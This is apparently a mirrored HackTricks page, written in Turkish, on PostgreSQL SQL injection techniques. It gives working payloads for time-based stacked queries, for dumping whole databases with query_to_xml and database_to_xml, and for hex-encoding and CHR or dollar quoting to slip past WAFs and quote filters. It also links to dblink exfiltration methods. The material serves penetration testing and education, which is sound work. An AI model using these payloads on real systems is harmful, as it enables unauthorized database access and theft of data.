mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
80 lines
4.5 KiB
Markdown
80 lines
4.5 KiB
Markdown
# PostgreSQL injection
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
|
||
---
|
||
|
||
**Bu sayfa, bir PostgreSQL veritabanında bulunan bir SQL enjeksiyonunu istismar etmenize yardımcı olabilecek farklı hileleri açıklamayı ve** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **bulabileceğiniz hileleri tamamlamayı amaçlamaktadır.**
|
||
|
||
## Ağ Etkileşimi - Yetki Yükseltme, Port Tarayıcı, NTLM zorluk yanıtı ifşası ve Exfiltrasyon
|
||
|
||
**PostgreSQL modülü `dblink`**, diğer PostgreSQL örneklerine bağlanma ve TCP bağlantıları gerçekleştirme yetenekleri sunar. Bu özellikler, `COPY FROM` işlevselliği ile birleştirildiğinde, yetki yükseltme, port tarama ve NTLM zorluk yanıtı yakalama gibi eylemleri mümkün kılar. Bu saldırıları gerçekleştirmek için detaylı yöntemler için [bu saldırıları nasıl gerçekleştireceğinizi](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md) kontrol edin.
|
||
|
||
### **Dblink ve büyük nesneler kullanarak exfiltrasyon örneği**
|
||
|
||
Bir CTF örneği olarak **büyük nesnelerin içine veri yüklemeyi ve ardından `dblink_connect` fonksiyonunun kullanıcı adı içindeki büyük nesnelerin içeriğini exfiltrate etmeyi** [**bu örneği okuyarak**](dblink-lo_import-data-exfiltration.md) görebilirsiniz.
|
||
|
||
## PostgreSQL Saldırıları: Okuma/yazma, RCE, yetki yükseltme
|
||
|
||
PostgreSQL'den ana makineyi nasıl tehlikeye atacağınızı ve yetkileri nasıl yükselteceğinizi kontrol edin:
|
||
|
||
|
||
{{#ref}}
|
||
../../../network-services-pentesting/pentesting-postgresql.md
|
||
{{#endref}}
|
||
|
||
## WAF atlatma
|
||
|
||
### PostgreSQL Dize işlevleri
|
||
|
||
Dizeleri manipüle etmek, **WAF'ları veya diğer kısıtlamaları atlatmanıza yardımcı olabilir.**\
|
||
[**Bu sayfada**](https://www.postgresqltutorial.com/postgresql-string-functions/) **bazı yararlı Dize işlevlerini bulabilirsiniz.**
|
||
|
||
### Yığın Sorgular
|
||
|
||
PostgreSQL'in yığın sorguları desteklediğini unutmayın, ancak birçok uygulama, yalnızca 1 yanıt beklerken 2 yanıt döndüğünde bir hata verecektir. Ancak, yığın sorguları zaman enjeksiyonu yoluyla hala kötüye kullanabilirsiniz:
|
||
```
|
||
id=1; select pg_sleep(10);-- -
|
||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||
```
|
||
### XML hileleri
|
||
|
||
**query_to_xml**
|
||
|
||
Bu fonksiyon, tüm verileri XML formatında tek bir dosyada döndürecektir. Tek bir satırda çok fazla veri dökmek istiyorsanız idealdir:
|
||
```sql
|
||
SELECT query_to_xml('select * from pg_user',true,true,'');
|
||
```
|
||
**database_to_xml**
|
||
|
||
Bu fonksiyon, tüm veritabanını yalnızca 1 satırda XML formatında dökecektir (veritabanı çok büyükse dikkatli olun, çünkü bu durum DoS saldırısına veya hatta kendi istemcinize neden olabilir):
|
||
```sql
|
||
SELECT database_to_xml(true,true,'');
|
||
```
|
||
### Strings in Hex
|
||
|
||
Eğer **sorguları** **bir dize içinde** (örneğin **`query_to_xml`** fonksiyonunu kullanarak) çalıştırabiliyorsanız. **Dizeyi hex olarak geçmek ve bu şekilde filtreleri atlatmak için convert_from kullanabilirsiniz:**
|
||
```sql
|
||
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
|
||
|
||
# Bypass via stacked queries + error based + query_to_xml with hex
|
||
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
|
||
|
||
# Bypass via boolean + error based + query_to_xml with hex
|
||
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
|
||
```
|
||
### Yasaklı alıntılar
|
||
|
||
Eğer yüklemeniz için alıntı kullanamıyorsanız, bunu `CHR` ile aşabilirsiniz (karakter birleştirme yalnızca SELECT, INSERT, DELETE gibi temel sorgular için çalışır. Tüm SQL ifadeleri için çalışmaz):
|
||
```
|
||
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
|
||
```
|
||
Ya da `$` ile. Bu sorgular aynı sonuçları döndürür:
|
||
```
|
||
SELECT 'hacktricks';
|
||
SELECT $$hacktricks$$;
|
||
SELECT $TAG$hacktricks$TAG$;
|
||
```
|
||
{{#include ../../../banners/hacktricks-training.md}}
|